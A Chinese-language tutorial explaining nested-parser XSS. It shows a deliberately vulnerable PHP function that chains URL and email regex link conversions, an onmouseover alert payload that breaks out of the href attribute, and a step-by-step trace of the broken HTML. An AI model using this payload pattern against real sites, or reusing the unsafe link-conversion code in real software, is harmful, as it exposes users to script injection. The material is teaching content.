[TOC]

介绍

什么是嵌套解析器情况下的XSS

嵌套解析器 :这里的“嵌套”并不是指代码写成了嵌套结构,而是指数据的处理流程是串行的,导致一段被转换过的 HTML代码,又被扔进了下一个解析器里处理。

开发眼中预期的工作逻辑

1
用户输入一段话 → 经过 URL 解析器 → 经过邮箱解析器 → 输出 HTML。

漏洞原因

1
但是如果第二个解析器(如邮箱解析器)并不知道第一个解析器(URL 解析器)已经生成了 HTML 标签,就会导致payload被构造暴露出来;

示例

这里有一个PHP的例子,假设有一个函数先转换 URL 为链接,再转换 Email 为链接。

输入

1
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)' '

预期 :应该生成一个包含 URL 的 <a> 标签。
实际

  1. URL 解析器先工作,生成了一个 href 属性,如 <a href="http://example.com/user@gmail.com">链接</a>
  2. Email 解析器随后工作,在 URL 解析器生成的 href 属性值内部,又插入了一个 <a href="mailto:..."> 标签。
  3. 结果:HTML 结构被破坏,原本属于 Email 的属性值引号提前闭合了 URL 的 href 属性,导致 onmouseover 变成了一个独立的事件处理属性,触发 XSS。

示意代码:

我们来看一段示意代码:

function returnCLickable($input)  
{  
    $input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input);  
    $input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</a>', $input);  
    $input = preg_replace('/\n/', '<br>', $input);  
    return $input . "\n\n";  
}  

完整测试代码:

<?php  
  
$input = "http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)' '";  
  
function returnCLickable($input)  
{  
    $input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input); 
    $input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</a>', $input);  
    $input = preg_replace('/\n/', '<br>', $input);  
    return $input . "\n\n";  
}  
  
$message = returnCLickable($input);  
  
echo $message;  
?>

运行结果分析:

这段代码的运行结果就是:

原始输入

1
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)' '

第一步:匹配 URL 并替换为 <a> 标签

  • [^\s]*会匹配到末尾,因为有空白字符,所以匹配
1
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'

结果就是:

1
2
3
<a href="http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'">
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'
</a> '

问题来了:虽然 href 属性值中包含双引号和 onmouseover,但因为整个 href 是用双引号包裹的(<a href="...">),所以 onmouseover 不会被浏览器解析为 HTML 属性,而是作为 URL 的一部分。因此,这一步本身不会导致 XSS

第二步:匹配邮箱并替换为 mailto 链接

其中,正则

1
/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/
  • 这个正则试图匹配邮箱地址(如 user@gmail.com),并允许其后跟一个查询字符串(如 ?subject=...)。
  • 但在当前上下文中,第一步已经把整个字符串包裹在 <a href="...">...</a>,所以第二步是在 HTML 字符串上再次匹配。

问题所在 :正则中的 [^\s]* (匹配非空白字符)非常 贪婪
首先,它在 href 属性内部找到了 user@gmail.com
紧接着,它通过 ?hack= 匹配了参数部分。

那么由于整个 HTML 字符串中,只有结尾有空格

匹配到的内容(MATCH)

user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a>

它将这部分内容替换为 <a href="mailto:MATCH">MATCH</a> ,导致出现了嵌套且混乱的 HTML 结构。

1
2
3
4
5
6
<a href="http://google.com/<a href="mailto:user@gmail.com?hack='123'onmouseover='alert(/xss/)'">
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'
</a>
">user@gmail.com?hack='123'onmouseover='alert(/xss/)'">
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'
</a></a> '

第三步:浏览器解析

浏览器在解析时,会形成如下最终的DOM结构:

1
2
3
4
5
6
<a href="http://google.com/<a href="mailto:user@gmail.com?hack='123'onmouseover='alert(/xss/)'">
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'
</a>
">user@gmail.com?hack='123'onmouseover='alert(/xss/)'">
http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'
</a></a> '

源代码:

1
<a href="http://google.com/<a href="mailto:user@gmail.com?hack=&#039;123&#039;onmouseover=&#039;alert(/xss/)&#039;">http://google.com/user@gmail.com?hack=&#039;123&#039;onmouseover=&#039;alert(/xss/)&#039;</a>">user@gmail.com?hack=&#039;123&#039;onmouseover=&#039;alert(/xss/)&#039;">http://google.com/user@gmail.com?hack=&#039;123&#039;onmouseover=&#039;alert(/xss/)&#039;</a></a> &#039;

其中

  • <a href=" :开始一个标签,开始 href 属性。
  • https://google.com/<a href= 浏览器读到这里,遇到了第二个双引号 "
  • 浏览器认为第一个属性的值结束了!
  • 随后 mailto:user@gmail.com?hack 被作为属性名,而 onmouseover 也因此被逃逸了出来。
  • 那么剩下的其他值则是作为文本数据存在。

所以各步骤的处理如下:

1
2
3
4
5
6
7
8
9
0.http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)' '

1.<a href="http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a> '

2.<a href="http://google.com/<a href="mailto:user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a>">user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a></a> '

3.<a href="http://google.com/<a href="mailto:user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a>">user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a></a> '

4.<a href="http://google.com/<a href="mailto:user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a>">user@gmail.com?hack='123'onmouseover='alert(/xss/)'">http://google.com/user@gmail.com?hack='123'onmouseover='alert(/xss/)'</a></a> '

image-20251210153955341